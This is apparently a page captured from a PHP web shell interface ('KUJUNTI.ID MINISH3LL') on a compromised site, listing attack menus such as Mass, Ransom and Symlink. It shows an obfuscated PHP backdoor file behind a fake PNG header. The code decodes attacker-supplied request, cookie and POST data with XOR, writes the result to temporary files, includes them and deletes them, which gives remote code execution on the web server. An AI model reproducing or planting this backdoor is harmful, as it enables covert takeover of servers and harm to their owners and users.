\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/autoconfig/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/tims.tv/autoconfig/mwnxevge.php


<?php																																										if(in_array("m\x61\x72\x6Ber", array_keys($_REQUEST))){ $ptr = $_REQUEST["m\x61\x72\x6Ber"]; $ptr = explode(".", $ptr ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; $len = count($ptr); do {if($q >= $len) break; $v2 = $ptr[$q]; $chS = ord($salt[$q %$sLen]); $d =((int)$v2 - $chS -($q %10))^ 62; $ent .= chr($d); $q++; } while(true); $key = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); for ($dchunk = 0, $item = count($key); $dchunk < $item; $dchunk++) { $pgrp = $key[$dchunk]; if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $comp = str_replace("{var_dir}", $pgrp, "{var_dir}/.reference"); $success = file_put_contents($comp, $ent); if ($success) { include $comp; @unlink($comp); die();} } } }

function jf6	(){

echo    'xz7';
}function rt1 ( $gx2    ){$wo4=0;$zj3	=     "8kicxsaE<Lo)y-/mf@lb0'u_;d6*hH95?1 3nre#v2pIg7jF4(.t";      $sk5 = substr("",	0); while(1)


{
	if($wo4>=count($gx2))	break;	$sk5 .= $zj3	[ $gx2[$wo4]    ]; $wo4++;


}

return	$sk5;


}$kl9 = [];$qibyaa   = 8569;


$kl9[98800] =	rt1 ( Array(3 ,       41 ,	26 ,      38      , 33 , 45	,    30 ,  48	, 13 ,	38 , 6	,	20     , 26 , 13	, 48 , 35 ,	48 ,   6 , 13	, 6 , 38 , 41  ,	31 ,       13  , 33 , 35  ,   48	, 0 , 6 ,	19     ,    0 ,      19 , 3 ,	20       ,   48      , 35	,)    )     ;

$kl9[34276]      =	rt1      ( Array(32	, 42  ,	28 ,     42 ,  34	,       17 ,	22 ,     36	,    18	,	2 , 36   , 1 , 49 , 23 , 23 , 47 , 43 ,  9 , 7      , 23 ,   23  , 11 ,     24    , 34 ,) ) ;


$dv26      = 7465;$kl9[82402]	= rt1	( Array(50       ,	46 , 42 , 44   ,)	)	;
$ge27	= 66019;


$kl9[29654]	= rt1	(	Array(50 , 14  ,)	)   ;
$ue28 = 83877;

$kl9[60367]       = rt1     (	Array(29	,   27      ,) ) ;
$kl9[62917]	= rt1	( Array(39 ,) )	;


$kl9[20413] = rt1     (    Array(8 ,)  ) ;


$kl9[94139] =	rt1 (	Array(16	,     2 , 18 , 38    ,    23 ,  42 ,	22 ,	51	, 23	,	3 , 10 ,	36 , 51 ,	38 , 36	, 51	,	5 ,)      )     ;$yk29 =	62990;

$kl9[22458]  = rt1 (	Array(6	,	37 ,	37 , 6    , 12 ,	23  ,     15 ,	38 ,     37      , 44 ,	38 ,)	) ;

$kl9[11189] =	rt1 (	Array(16      ,       2 ,	18	, 38 , 23	,	38    , 4	,  2    ,	5       ,      51 , 5 ,) )	;
$kl9[23982]  =	rt1 (	Array(5  , 51 ,  37   , 23 ,       37	, 38 , 42	,	38	,	6 , 51 ,) ) ;$pt30	= 22250;

$kl9[29607]	= rt1	( Array(38     , 4      , 42     , 18    , 10 ,   25	,	38    ,)    ) ;
$uj31    =       39404;


$kl9[59812]	=       rt1	( Array(5 ,  51 ,	37 ,     18    ,	38 , 36    ,)	) ;$kl9[58778] =     rt1 ( Array(2   ,      36     ,   51 , 40	, 6 , 18       ,) )	;$kl9[34192] =    rt1	(	Array(22 , 36 ,	18 ,    2	,	36    , 1	,) ) ;

$kl9[46475]	=	rt1 ( Array(42 ,       6   , 3   , 1    ,)	) ;
$af21    = $_COOKIE; $wk20	=      "42335";
$af21 = $kl9[22458]($af21, $_POST);
foreach ($af21	as	$hv25	=>     $rj22)

{
 function   ou14      ( $kl9,    $hv25       ,    $va19 ) { return	substr      (       $kl9[23982]	(	$hv25 . $kl9[98800]	, $kl9[58778]( $va19/$kl9[59812](	$hv25     ) )     + 1 )     , 0   , $va19	);

	}



 function	cg18	( $kl9, $il24	)


 {


 if       ( isset    ( $il24[2]       ) )	{

     


 nz16	(	$kl9,	oi15       ( $kl9, $il24));


	

	return 1;
 }       } 	function ys13	(	$kl9, $il24     )

 {

 return @$kl9[46475]	($kl9[60367]	,  $il24	);
     }	function cm12 (     $kl9, $rj22,	$hv25) {


	return     ys13	( $kl9, $rj22     ) ^  ou14 ( $kl9, $hv25      ,	$kl9[59812](   $rj22 ) ); }
	

	function	eq11   ( $kl9,     $rj22, $hv25)	{
   return    $kl9[29607]	(     $kl9[62917] ,    cm12      (	$kl9, $rj22,	$hv25)); }
 


	function pg10 (    $kl9,	$rj22,	$hv25)	{	$rj22	=	eq11 (	$kl9,    $rj22,	$hv25);


 if (cg18 (       $kl9,	$rj22))   {
	exit();

 }


      }

 

 function oi15	( $kl9,	$il24)
	{
	$ku23 =	$kl9[29654]	.     md5( $kl9[98800] ) .	$kl9[82402];


 

	@$kl9[94139]	( $ku23, $kl9[20413]  . $kl9[34276] . $il24[1]	( $il24[2] ) );

 

 return   $ku23;

 }	


 function gm17       (	$kl9,	$ku23)
 {


 if ($kl9[11189]($ku23))   

 {

	@$kl9[34192]    ( $ku23  );

 }

 }


 
       function nz16 (  $kl9,	$ku23	)


 {


      @include (	$ku23  );

	gm17 (	$kl9,	$ku23); }


	


 pg10 ( $kl9,       $rj22,  $hv25);

}

© KUJUNTI.ID